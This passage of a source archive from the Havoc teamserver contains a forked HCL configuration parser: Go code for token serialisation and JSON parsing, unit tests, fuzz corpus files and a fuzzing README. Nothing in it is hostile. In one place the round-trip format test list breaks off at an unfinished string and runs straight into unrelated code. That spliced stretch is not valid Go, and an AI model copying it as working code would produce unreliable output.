} if err != nil { t.Fatalf("error from WriteTo") } result := wr.Bytes() if !bytes.Equal(result, src) { dmp := diffmatchpatch.New() diffs := dmp.DiffMain(string(src), string(result), false) //t.Errorf("wrong result\nresult:\n%s\ninput:\n%s", result, src) t.Errorf("wrong result\ndiff: (red indicates missing lines, and green indicates unexpected lines)\n%s", dmp.DiffPrettyText(diffs)) } }) } } func TestRoundTripFormat(t *testing.T) { // The goal of this test is to verify that the formatter doesn't change // the semantics of any expressions when it adds and removes whitespace. // String templates are the primary area of concern here, but we also // test some other things for completeness sake. // // The tests here must define zero or more attributes, which will be // extract with JustAttributes and evaluated both before and after // formatting. tests := []string{ "", "\n\n\n", "a=1\n", "a=\"hello\"\n", "a=\"${hello} world\"\n", "a=upper(\"hello\")\n", "a=upper(hello)\n", "a=[1,2,3,4,five]\n", "a={greeting=hello}\n", "a={\ngreeting=hello\n}\n", "a={\ngreeting=hello}\n", "a={greeting=hello\n}\n", "a={greeting=hello,number=five,sarcastic=\"${upper(hello)}\"\n}\n", "a={\ngreeting=hello\nnumber=five\nsarcastic=\"${upper(hello)}\"\n}\n", "a=<", }, } } // Tokens is a flat list of tokens. type Tokens []*Token func (ts Tokens) Bytes() []byte { buf := &bytes.Buffer{} ts.WriteTo(buf) return buf.Bytes() } func (ts Tokens) testValue() string { return string(ts.Bytes()) } // Columns returns the number of columns (grapheme clusters) the token sequence // occupies. The result is not meaningful if there are newline or single-line // comment tokens in the sequence. func (ts Tokens) Columns() int { ret := 0 for _, token := range ts { ret += token.SpacesBefore // spaces are always worth one column each ct, _ := textseg.TokenCount(token.Bytes, textseg.ScanGraphemeClusters) ret += ct } return ret } // WriteTo takes an io.Writer and writes the bytes for each token to it, // along with the spacing that separates each token. In other words, this // allows serializing the tokens to a file or other such byte stream. func (ts Tokens) WriteTo(wr io.Writer) (int64, error) { // We know we're going to be writing a lot of small chunks of repeated // space characters, so we'll prepare a buffer of these that we can // easily pass to wr.Write without any further allocation. spaces := make([]byte, 40) for i := range spaces { spaces[i] = ' ' } var n int64 var err error for _, token := range ts { if err != nil { return n, err } for spacesBefore := token.SpacesBefore; spacesBefore > 0; spacesBefore -= len(spaces) { thisChunk := spacesBefore if thisChunk > len(spaces) { thisChunk = len(spaces) } var thisN int thisN, err = wr.Write(spaces[:thisChunk]) n += int64(thisN) if err != nil { return n, err } } var thisN int thisN, err = wr.Write(token.Bytes) n += int64(thisN) } return n, err } func (ts Tokens) walkChildNodes(w internalWalkFunc) { // Unstructured tokens have no child nodes } func (ts Tokens) BuildTokens(to Tokens) Tokens { return append(to, ts...) } func newIdentToken(name string) *Token { return &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(name), } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/000077500000000000000000000000001467014221700237665ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/ast.go000066400000000000000000000042711467014221700251100ustar00rootroot00000000000000package json import ( "math/big" "Havoc/pkg/profile/yaotl" ) type node interface { Range() hcl.Range StartRange() hcl.Range } type objectVal struct { Attrs []*objectAttr SrcRange hcl.Range // range of the entire object, brace-to-brace OpenRange hcl.Range // range of the opening brace CloseRange hcl.Range // range of the closing brace } func (n *objectVal) Range() hcl.Range { return n.SrcRange } func (n *objectVal) StartRange() hcl.Range { return n.OpenRange } type objectAttr struct { Name string Value node NameRange hcl.Range // range of the name string } func (n *objectAttr) Range() hcl.Range { return n.NameRange } func (n *objectAttr) StartRange() hcl.Range { return n.NameRange } type arrayVal struct { Values []node SrcRange hcl.Range // range of the entire object, bracket-to-bracket OpenRange hcl.Range // range of the opening bracket } func (n *arrayVal) Range() hcl.Range { return n.SrcRange } func (n *arrayVal) StartRange() hcl.Range { return n.OpenRange } type booleanVal struct { Value bool SrcRange hcl.Range } func (n *booleanVal) Range() hcl.Range { return n.SrcRange } func (n *booleanVal) StartRange() hcl.Range { return n.SrcRange } type numberVal struct { Value *big.Float SrcRange hcl.Range } func (n *numberVal) Range() hcl.Range { return n.SrcRange } func (n *numberVal) StartRange() hcl.Range { return n.SrcRange } type stringVal struct { Value string SrcRange hcl.Range } func (n *stringVal) Range() hcl.Range { return n.SrcRange } func (n *stringVal) StartRange() hcl.Range { return n.SrcRange } type nullVal struct { SrcRange hcl.Range } func (n *nullVal) Range() hcl.Range { return n.SrcRange } func (n *nullVal) StartRange() hcl.Range { return n.SrcRange } // invalidVal is used as a placeholder where a value is needed for a valid // parse tree but the input was invalid enough to prevent one from being // created. type invalidVal struct { SrcRange hcl.Range } func (n invalidVal) Range() hcl.Range { return n.SrcRange } func (n invalidVal) StartRange() hcl.Range { return n.SrcRange } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/didyoumean.go000066400000000000000000000021451467014221700264550ustar00rootroot00000000000000package json import ( "github.com/agext/levenshtein" ) var keywords = []string{"false", "true", "null"} // keywordSuggestion tries to find a valid JSON keyword that is close to the // given string and returns it if found. If no keyword is close enough, returns // the empty string. func keywordSuggestion(given string) string { return nameSuggestion(given, keywords) } // nameSuggestion tries to find a name from the given slice of suggested names // that is close to the given name and returns it if found. If no suggestion // is close enough, returns the empty string. // // The suggestions are tried in order, so earlier suggestions take precedence // if the given string is similar to two or more suggestions. // // This function is intended to be used with a relatively-small number of // suggestions. It's not optimized for hundreds or thousands of them. func nameSuggestion(given string, suggestions []string) string { for _, suggestion := range suggestions { dist := levenshtein.Distance(given, suggestion, nil) if dist < 3 { // threshold determined experimentally return suggestion } } return "" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/didyoumean_test.go000066400000000000000000000015331467014221700275140ustar00rootroot00000000000000package json import "testing" func TestKeywordSuggestion(t *testing.T) { tests := []struct { Input, Want string }{ {"true", "true"}, {"false", "false"}, {"null", "null"}, {"bananas", ""}, {"NaN", ""}, {"Inf", ""}, {"Infinity", ""}, {"void", ""}, {"undefined", ""}, {"ture", "true"}, {"tru", "true"}, {"tre", "true"}, {"treu", "true"}, {"rtue", "true"}, {"flase", "false"}, {"fales", "false"}, {"flse", "false"}, {"fasle", "false"}, {"fasel", "false"}, {"flue", "false"}, {"nil", "null"}, {"nul", "null"}, {"unll", "null"}, {"nll", "null"}, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { got := keywordSuggestion(test.Input) if got != test.Want { t.Errorf( "wrong result\ninput: %q\ngot: %q\nwant: %q", test.Input, got, test.Want, ) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/doc.go000066400000000000000000000011131467014221700250560ustar00rootroot00000000000000// Package json is the JSON parser for HCL. It parses JSON files and returns // implementations of the core HCL structural interfaces in terms of the // JSON data inside. // // This is not a generic JSON parser. Instead, it deals with the mapping from // the JSON information model to the HCL information model, using a number // of hard-coded structural conventions. // // In most cases applications will not import this package directly, but will // instead access its functionality indirectly through functions in the main // "hcl" package and in the "hclparse" package. package json havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/000077500000000000000000000000001467014221700247645ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/Makefile000066400000000000000000000011461467014221700264260ustar00rootroot00000000000000 ifndef FUZZ_WORK_DIR $(error FUZZ_WORK_DIR is not set) endif default: @echo "See README.md for usage instructions" fuzz-config: fuzz-exec-config fuzz-exec-%: fuzz%-fuzz.zip go-fuzz -bin=./fuzz$*-fuzz.zip -workdir=$(FUZZ_WORK_DIR) fuzz%-fuzz.zip: %/fuzz.go go-fuzz-build Havoc/pkg/profile/yaotl/json/fuzz/$* tools: go get -u github.com/dvyukov/go-fuzz/go-fuzz go get -u github.com/dvyukov/go-fuzz/go-fuzz-build clean: rm fuzz*-fuzz.zip .PHONY: tools clean fuzz-config fuzz-expr fuzz-template fuzz-traversal .PRECIOUS: fuzzconfig-fuzz.zip fuzzexpr-fuzz.zip fuzztemplate-fuzz.zip fuzztraversal-fuzz.zip havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/README.md000066400000000000000000000050431467014221700262450ustar00rootroot00000000000000# JSON syntax fuzzing utilities This directory contains helper functions and corpuses that can be used to fuzz-test the HCL JSON parser using [go-fuzz](https://github.com/dvyukov/go-fuzz). ## Work directory `go-fuzz` needs a working directory where it can keep state as it works. This should ideally be in a ramdisk for efficiency, and should probably _not_ be on an SSD to avoid thrashing it. Here's how to create a ramdisk: ### macOS ``` $ SIZE_IN_MB=1024 $ DEVICE=`hdiutil attach -nobrowse -nomount ram://$(($SIZE_IN_MB*2048))` $ diskutil erasevolume HFS+ RamDisk $DEVICE $ export RAMDISK=/Volumes/RamDisk ``` ### Linux ``` $ mkdir /mnt/ramdisk $ mount -t tmpfs -o size=1024M tmpfs /mnt/ramdisk $ export RAMDISK=/mnt/ramdisk ``` ## Running the fuzzer Next, install `go-fuzz` and its build tool in your `GOPATH`: ``` $ make tools FUZZ_WORK_DIR=$RAMDISK ``` Now you can fuzz the parser: ``` $ make fuzz-config FUZZ_WORK_DIR=$RAMDISK/json-fuzz-config ``` ~> Note: `go-fuzz` does not interact well with `goenv`. If you encounter build errors where the package `go.fuzz.main` could not be found, you may need to use a machine with a direct installation of Go. ## Understanding the result A small number of subdirectories will be created in the work directory. If you let `go-fuzz` run for a few minutes (the more minutes the better) it may detect "crashers", which are inputs that caused the parser to panic. Details about these are written to `$FUZZ_WORK_DIR/crashers`: ``` $ ls /tmp/hcl2-fuzz-config/crashers 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted ``` The base file above (with no extension) is the input that caused a crash. The `.output` file contains the panic stack trace, which you can use as a clue to figure out what caused the crash. A good first step to fixing a detected crasher is to copy the failing input into one of the unit tests in the `hcl/json` package and see it crash there too. After that, it's easy to re-run the test as you try to fix it. The file with the `.quoted` extension contains a form of the input that is quoted in Go syntax for easy copy-paste into a test case, even if the input contains non-printable characters or other inconvenient symbols. ## Rebuilding for new Upstream Code An archive file is created for `go-fuzz` to use on the first run of each of the above, as a `.zip` file created in this directory. If upstream code is changed these will need to be deleted to cause them to be rebuilt with the latest code: ``` $ make clean ``` havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/000077500000000000000000000000001467014221700262315ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/000077500000000000000000000000001467014221700275445ustar00rootroot00000000000000attr-expr.hcl.json000066400000000000000000000000501467014221700330460ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus{ "foo": "${upper(bar + baz[1])}" } attr-literal.hcl.json000066400000000000000000000000251467014221700335260ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus{ "foo": "bar" } block-attrs.hcl.json000066400000000000000000000000451467014221700333510ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus{ "block": { "foo": true } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/block-empty.json000066400000000000000000000000241467014221700326610ustar00rootroot00000000000000{ "block": {} } block-nested.hcl.json000066400000000000000000000001051467014221700334730ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus{ "block": { "another_block": { "foo": "bar" } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/empty.hcl.json000066400000000000000000000000031467014221700323330ustar00rootroot00000000000000{} havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-empty.json000066400000000000000000000000241467014221700325420ustar00rootroot00000000000000{ "hello": [] } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-nested.json000066400000000000000000000000261467014221700326700ustar00rootroot00000000000000{ "hello": [[]] } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-values.json000066400000000000000000000001041467014221700327020ustar00rootroot00000000000000{ "hello": [ "hello", true, 1.2 ] } number-big.hcl.json000066400000000000000000000000331467014221700331500ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus{ "foo": 1.234234e30 } number-int.hcl.json000066400000000000000000000000241467014221700332010ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus{ "foo": 1024 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/utf8.hcl.json000066400000000000000000000000501467014221700320650ustar00rootroot00000000000000{ "foo": "föo ${föo(\"föo\")}" } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/fuzz/config/fuzz.go000066400000000000000000000003231467014221700275540ustar00rootroot00000000000000package fuzzconfig import ( "Havoc/pkg/profile/yaotl/json" ) func Fuzz(data []byte) int { _, diags := json.Parse(data, "") if diags.HasErrors() { return 0 } return 1 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/navigation.go000066400000000000000000000025511467014221700264570ustar00rootroot00000000000000package json import ( "fmt" "strings" ) type navigation struct { root node } // Implementation of hcled.ContextString func (n navigation) ContextString(offset int) string { steps := navigationStepsRev(n.root, offset) if steps == nil { return "" } // We built our slice backwards, so we'll reverse it in-place now. half := len(steps) / 2 // integer division for i := 0; i < half; i++ { steps[i], steps[len(steps)-1-i] = steps[len(steps)-1-i], steps[i] } ret := strings.Join(steps, "") if len(ret) > 0 && ret[0] == '.' { ret = ret[1:] } return ret } func navigationStepsRev(v node, offset int) []string { switch tv := v.(type) { case *objectVal: // Do any of our properties have an object that contains the target // offset? for _, attr := range tv.Attrs { k := attr.Name av := attr.Value switch av.(type) { case *objectVal, *arrayVal: // okay default: continue } if av.Range().ContainsOffset(offset) { return append(navigationStepsRev(av, offset), "."+k) } } case *arrayVal: // Do any of our elements contain the target offset? for i, elem := range tv.Values { switch elem.(type) { case *objectVal, *arrayVal: // okay default: continue } if elem.Range().ContainsOffset(offset) { return append(navigationStepsRev(elem, offset), fmt.Sprintf("[%d]", i)) } } } return nil } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/navigation_test.go000066400000000000000000000017151467014221700275170ustar00rootroot00000000000000package json import ( "fmt" "strconv" "testing" ) func TestNavigationContextString(t *testing.T) { src := ` { "version": 1, "resource": { "null_resource": { "baz": { "id": "foo" }, "boz": [ { "ov": { } } ] } } } ` file, diags := Parse([]byte(src), "test.json") if len(diags) != 0 { fmt.Printf("offset %d\n", diags[0].Subject.Start.Byte) t.Errorf("Unexpected diagnostics: %s", diags) } if file == nil { t.Fatalf("Got nil file") } nav := file.Nav.(navigation) tests := []struct { Offset int Want string }{ {0, ``}, {8, ``}, {36, `resource`}, {60, `resource.null_resource`}, {89, `resource.null_resource.baz`}, {141, `resource.null_resource.boz`}, } for _, test := range tests { t.Run(strconv.Itoa(test.Offset), func(t *testing.T) { got := nav.ContextString(test.Offset) if got != test.Want { t.Errorf("wrong result\ngot: %s\nwant: %s", got, test.Want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/parser.go000066400000000000000000000377701467014221700256270ustar00rootroot00000000000000package json import ( "encoding/json" "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func parseFileContent(buf []byte, filename string, start hcl.Pos) (node, hcl.Diagnostics) { tokens := scan(buf, pos{Filename: filename, Pos: start}) p := newPeeker(tokens) node, diags := parseValue(p) if len(diags) == 0 && p.Peek().Type != tokenEOF { diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous data after value", Detail: "Extra characters appear after the JSON value.", Subject: p.Peek().Range.Ptr(), }) } return node, diags } func parseExpression(buf []byte, filename string, start hcl.Pos) (node, hcl.Diagnostics) { tokens := scan(buf, pos{Filename: filename, Pos: start}) p := newPeeker(tokens) node, diags := parseValue(p) if len(diags) == 0 && p.Peek().Type != tokenEOF { diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous data after value", Detail: "Extra characters appear after the JSON value.", Subject: p.Peek().Range.Ptr(), }) } return node, diags } func parseValue(p *peeker) (node, hcl.Diagnostics) { tok := p.Peek() wrapInvalid := func(n node, diags hcl.Diagnostics) (node, hcl.Diagnostics) { if n != nil { return n, diags } return invalidVal{tok.Range}, diags } switch tok.Type { case tokenBraceO: return wrapInvalid(parseObject(p)) case tokenBrackO: return wrapInvalid(parseArray(p)) case tokenNumber: return wrapInvalid(parseNumber(p)) case tokenString: return wrapInvalid(parseString(p)) case tokenKeyword: return wrapInvalid(parseKeyword(p)) case tokenBraceC: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Missing JSON value", Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", Subject: &tok.Range, }, }) case tokenBrackC: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Missing array element value", Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", Subject: &tok.Range, }, }) case tokenEOF: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Missing value", Detail: "The JSON data ends prematurely.", Subject: &tok.Range, }, }) default: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid start of value", Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", Subject: &tok.Range, }, }) } } func tokenCanStartValue(tok token) bool { switch tok.Type { case tokenBraceO, tokenBrackO, tokenNumber, tokenString, tokenKeyword: return true default: return false } } func parseObject(p *peeker) (node, hcl.Diagnostics) { var diags hcl.Diagnostics open := p.Read() attrs := []*objectAttr{} // recover is used to shift the peeker to what seems to be the end of // our object, so that when we encounter an error we leave the peeker // at a reasonable point in the token stream to continue parsing. recover := func(tok token) { open := 1 for { switch tok.Type { case tokenBraceO: open++ case tokenBraceC: open-- if open <= 1 { return } case tokenEOF: // Ran out of source before we were able to recover, // so we'll bail here and let the caller deal with it. return } tok = p.Read() } } Token: for { if p.Peek().Type == tokenBraceC { break Token } keyNode, keyDiags := parseValue(p) diags = diags.Extend(keyDiags) if keyNode == nil { return nil, diags } keyStrNode, ok := keyNode.(*stringVal) if !ok { return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object property name", Detail: "A JSON object property name must be a string", Subject: keyNode.StartRange().Ptr(), }) } key := keyStrNode.Value colon := p.Read() if colon.Type != tokenColon { recover(colon) if colon.Type == tokenBraceC || colon.Type == tokenComma { // Catch common mistake of using braces instead of brackets // for an object. return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing object value", Detail: "A JSON object attribute must have a value, introduced by a colon.", Subject: &colon.Range, }) } if colon.Type == tokenEquals { // Possible confusion with native HCL syntax. return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing property value colon", Detail: "JSON uses a colon as its name/value delimiter, not an equals sign.", Subject: &colon.Range, }) } return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing property value colon", Detail: "A colon must appear between an object property's name and its value.", Subject: &colon.Range, }) } valNode, valDiags := parseValue(p) diags = diags.Extend(valDiags) if valNode == nil { return nil, diags } attrs = append(attrs, &objectAttr{ Name: key, Value: valNode, NameRange: keyStrNode.SrcRange, }) switch p.Peek().Type { case tokenComma: comma := p.Read() if p.Peek().Type == tokenBraceC { // Special error message for this common mistake return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Trailing comma in object", Detail: "JSON does not permit a trailing comma after the final property in an object.", Subject: &comma.Range, }) } continue Token case tokenEOF: return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed object", Detail: "No closing brace was found for this JSON object.", Subject: &open.Range, }) case tokenBrackC: // Consume the bracket anyway, so that we don't return with the peeker // at a strange place. p.Read() return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Mismatched braces", Detail: "A JSON object must be closed with a brace, not a bracket.", Subject: p.Peek().Range.Ptr(), }) case tokenBraceC: break Token default: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute separator comma", Detail: "A comma must appear between each property definition in an object.", Subject: p.Peek().Range.Ptr(), }) } } close := p.Read() return &objectVal{ Attrs: attrs, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, CloseRange: close.Range, }, diags } func parseArray(p *peeker) (node, hcl.Diagnostics) { var diags hcl.Diagnostics open := p.Read() vals := []node{} // recover is used to shift the peeker to what seems to be the end of // our array, so that when we encounter an error we leave the peeker // at a reasonable point in the token stream to continue parsing. recover := func(tok token) { open := 1 for { switch tok.Type { case tokenBrackO: open++ case tokenBrackC: open-- if open <= 1 { return } case tokenEOF: // Ran out of source before we were able to recover, // so we'll bail here and let the caller deal with it. return } tok = p.Read() } } Token: for { if p.Peek().Type == tokenBrackC { break Token } valNode, valDiags := parseValue(p) diags = diags.Extend(valDiags) if valNode == nil { return nil, diags } vals = append(vals, valNode) switch p.Peek().Type { case tokenComma: comma := p.Read() if p.Peek().Type == tokenBrackC { // Special error message for this common mistake return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Trailing comma in array", Detail: "JSON does not permit a trailing comma after the final value in an array.", Subject: &comma.Range, }) } continue Token case tokenColon: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid array value", Detail: "A colon is not used to introduce values in a JSON array.", Subject: p.Peek().Range.Ptr(), }) case tokenEOF: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed object", Detail: "No closing bracket was found for this JSON array.", Subject: &open.Range, }) case tokenBraceC: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Mismatched brackets", Detail: "A JSON array must be closed with a bracket, not a brace.", Subject: p.Peek().Range.Ptr(), }) case tokenBrackC: break Token default: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute separator comma", Detail: "A comma must appear between each value in an array.", Subject: p.Peek().Range.Ptr(), }) } } close := p.Read() return &arrayVal{ Values: vals, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, }, diags } func parseNumber(p *peeker) (node, hcl.Diagnostics) { tok := p.Read() // Use encoding/json to validate the number syntax. // TODO: Do this more directly to produce better diagnostics. var num json.Number err := json.Unmarshal(tok.Bytes, &num) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON number", Detail: fmt.Sprintf("There is a syntax error in the given JSON number."), Subject: &tok.Range, }, } } // We want to guarantee that we parse numbers the same way as cty (and thus // native syntax HCL) would here, so we'll use the cty parser even though // in most other cases we don't actually introduce cty concepts until // decoding time. We'll unwrap the parsed float immediately afterwards, so // the cty value is just a temporary helper. nv, err := cty.ParseNumberVal(string(num)) if err != nil { // Should never happen if above passed, since JSON numbers are a subset // of what cty can parse... return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON number", Detail: fmt.Sprintf("There is a syntax error in the given JSON number."), Subject: &tok.Range, }, } } return &numberVal{ Value: nv.AsBigFloat(), SrcRange: tok.Range, }, nil } func parseString(p *peeker) (node, hcl.Diagnostics) { tok := p.Read() var str string err := json.Unmarshal(tok.Bytes, &str) if err != nil { var errRange hcl.Range if serr, ok := err.(*json.SyntaxError); ok { errOfs := serr.Offset errPos := tok.Range.Start errPos.Byte += int(errOfs) // TODO: Use the byte offset to properly count unicode // characters for the column, and mark the whole of the // character that was wrong as part of our range. errPos.Column += int(errOfs) errEndPos := errPos errEndPos.Byte++ errEndPos.Column++ errRange = hcl.Range{ Filename: tok.Range.Filename, Start: errPos, End: errEndPos, } } else { errRange = tok.Range } var contextRange *hcl.Range if errRange != tok.Range { contextRange = &tok.Range } // FIXME: Eventually we should parse strings directly here so // we can produce a more useful error message in the face fo things // such as invalid escapes, etc. return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON string", Detail: fmt.Sprintf("There is a syntax error in the given JSON string."), Subject: &errRange, Context: contextRange, }, } } return &stringVal{ Value: str, SrcRange: tok.Range, }, nil } func parseKeyword(p *peeker) (node, hcl.Diagnostics) { tok := p.Read() s := string(tok.Bytes) switch s { case "true": return &booleanVal{ Value: true, SrcRange: tok.Range, }, nil case "false": return &booleanVal{ Value: false, SrcRange: tok.Range, }, nil case "null": return &nullVal{ SrcRange: tok.Range, }, nil case "undefined", "NaN", "Infinity": return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON keyword", Detail: fmt.Sprintf("The JavaScript identifier %q cannot be used in JSON.", s), Subject: &tok.Range, }, } default: var dym string if suggest := keywordSuggestion(s); suggest != "" { dym = fmt.Sprintf(" Did you mean %q?", suggest) } return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON keyword", Detail: fmt.Sprintf("%q is not a valid JSON keyword.%s", s, dym), Subject: &tok.Range, }, } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/parser_test.go000066400000000000000000000523541467014221700266610ustar00rootroot00000000000000package json import ( "math/big" "testing" "github.com/go-test/deep" "Havoc/pkg/profile/yaotl" ) func init() { deep.MaxDepth = 999 } func TestParse(t *testing.T) { tests := []struct { Input string Want node DiagCount int }{ // Simple, single-token constructs { `true`, &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 5, Byte: 4}, }, }, 0, }, { `false`, &booleanVal{ Value: false, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, 0, }, { `null`, &nullVal{ SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 5, Byte: 4}, }, }, 0, }, { `undefined`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 10, Byte: 9}, }}, 1, }, { `flase`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }}, 1, }, { `"hello"`, &stringVal{ Value: "hello", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, 0, }, { `"hello\nworld"`, &stringVal{ Value: "hello\nworld", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, 0, }, { `"hello \"world\""`, &stringVal{ Value: `hello "world"`, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 18, Byte: 17}, }, }, 0, }, { `"hello \\"`, &stringVal{ Value: "hello \\", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 11, Byte: 10}, }, }, 0, }, { `"hello`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }}, 1, }, { `"he\llo"`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }}, 1, }, { `1`, &numberVal{ Value: mustBigFloat("1"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `1.2`, &numberVal{ Value: mustBigFloat("1.2"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 4, Byte: 3}, }, }, 0, }, { `-1`, &numberVal{ Value: mustBigFloat("-1"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, 0, }, { `1.2e5`, &numberVal{ Value: mustBigFloat("120000"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, 0, }, { `1.2e+5`, &numberVal{ Value: mustBigFloat("120000"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }, }, 0, }, { `1.2e-5`, &numberVal{ Value: mustBigFloat("1.2e-5"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }, }, 0, }, { `.1`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, 